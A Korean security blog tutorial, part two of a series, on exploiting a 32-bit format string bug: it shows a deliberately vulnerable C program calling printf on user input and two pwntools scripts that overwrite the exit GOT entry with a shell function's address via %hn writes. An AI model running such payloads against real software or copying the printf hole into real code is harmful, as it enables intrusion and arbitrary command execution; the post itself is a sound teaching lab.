System Hacking/FSB(Format String Bug)

32bit에서 FSB (Format String Bug) 이해하기 -(2)

jir4vvit 2020. 10. 9. 22:40

 

참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689)

 

 

저번 (1)편에 이어서 32bit에서 FSB(Format String Bug)를 이해해보자.


시스템 해킹의 주된 목적은 shell을 획득하여 임의의 명령을 실행하는 것이다.

흔히 system함수에 인자를 /bin/sh로 주어서 쉘을 획득한다.

system("bin/sh")

 

저 함수를 어떻게 이용하여 쉘을 획득할까?

GOT를 overwrite하여 획득한다.

 

이를 위해 먼저 PLT와 GOT를 이해하여야 한다.

간단하게 설명하면 PLT는 코드고, GOT는 주소 값이 저장된 공간이다.

함수를 호출하면 PLT 코드가 실행되고 PLT 코드에서 GOT에 적힌 주소로 이동을 하는 것이다.

특정 함수의 GOT를 변경하면 해당 함수 호출 시 다른 코드가 실행된다.

예를 들어 프로그램을 종료하는 exit 함수의 GOT를 system 함수로 변경한다면 exit함수가 실행될 때 실질적으로 system 함수가 실행이 되게 된다.

jiravvit.tistory.com/entry/PLT%EC%99%80-GOT?category=812680

 

PLT와 GOT

참고 : dreamhack.io 환경 : ubuntu 16.04.7 PLT와 GOT를 처음 접한 곳은 아래 문제이다. jiravvit.tistory.com/entry/dreamhack-pwnable-basicexploitation002-%ED%92%80%EC%9D%B4 [dreamhack : pwnable] basic_e..

jiravvit.tistory.com


실습을 통하여 shell 함수의 GOT를 overwite 하여 쉘을 획득해보자.

아래는 실습 코드이다.

// fsb_got.c
// gcc -o fsb_got32 fsb_got.c -m32
#include <stdio.h>

void shell(void) {
	system("/bin/sh");
}

int main(void) {
	char buf[0x100];
	read(0, buf, 0x100);
	printf(buf);
	exit(0);
}

printf(buf); 에서 포맷스트링버그 취약점이 발생하고 있다. 

 

우리는 일단 AAAA를 넣어 0x41414141이 언제 발생하는지 파악부터 하여야 한다.

그래서 그 자리에 우리가 원하는 주소를 넣어(여기서는 exit 함수의 GOT가 될 수 있겠지?) 원하는 값(shell 함수의 주소)를 써야한다.

32bit에서 주소값은 4바이트체제이기 때문에 AAAABBBB를 넣어주었다.

2바이트씩 끊어서, 7칸 8칸 떨어져 있다.

 

이제 여기에 각각 exit 함수의 got를 구해서 넣어주어야 한다. 

exit 함수의 got는 디버깅을 통해 구할 수도 있지만 pwntools의 함수를 사용해서 구해주도록 하겠다.

e = ELF('./fsb_got32')

exit_got = e.got['exit']

 

그리고 여기에 shell 함수의 주소를 넣어주어야 한다.

shell 함수의 주소는 디버거를 통해 알아보자.

함수의 주소를 구하는 방법은 pwntools를 통해서도 구할 수 있지만 2바이트씩 끊어서 7번째 칸, 8번째 칸에 따로 입력을 해주어야 하기 때문에 직접 구해보았다. 

(구하는 방법은 다양하겠지만 pwntools를 사용하지 않으면 난 보통 저렇게 구한다 ㅎ)

 

shell 함수의 주소 = 0x0804849b

하위 2바이트를 shell_low변수에 넣어주고 상위 2바이트를 shell_high에 넣어준다.

 

자자, 이제부터 어떻게 값을 넣어야할 지 조금 헷갈릴 것이다..

차근차근 간단한 그림을 그려서 생각을 해보자.

참고로 한 칸은 1 바이트다. 

 

익스플로잇 코드는 아래와 같다.

from pwn import *

p = process('./fsb_got32')
e = ELF('./fsb_got32')

exit_got = e.got['exit']

# 0x0804849b
shell_low = 0x849b
shell_high = 0x0804

payload = ''
payload += p32(exit_got)
payload += p32(exit_got + 2)
payload += '%{}c'.format(shell_low - 8)
payload += '%7$hn'
payload += '%{}c'.format(0x10000 + shell_high - shell_low)
payload += '%8$hn'

p.send(payload)
p.interactive()

shell_low - 8 

8을 빼준 이유? 앞에서 p32 4바이트 값 두번 더해줘서 8을 빼줬다.

exit_got에 shell_low 값을 적어준다.

그리고 그 아래칸 exit_got+2에 shell_high 값을 적어줘야한다.

 

shell_high는 shell_low보다 작은 수기 때문에 0x10000 더해준다.

 

이러한 수고를 덜기 위해 exit_got+2부터 스택에 넣어주고 shell_high값부터 적어줄 수도 있다.

 

사실 저렇게 페이로드를 안적고 fmtstr_payload 라는 함수를 이용해도 된다 ㅋ

from pwn import *

p = process('./fsb_got32')
e = ELF('./fsb_got32')

exit_got = e.got['exit']
shell_addr = 0x0804849b

payload = fmtstr_payload(7, {exit_got:shell_addr})

p.send(payload)
p.interactive()

장점은 공격자가 적기 편하다는 점이고 단점은 페이로드가 길어진다는 것이다.

그래서 입력값에 길이제한이 걸려있으면 사용할 수 없다..

 

 

 

 

 

 

 

 

 

다음 포스팅에선 shell 함수 없이 쉘을 딸 것이다.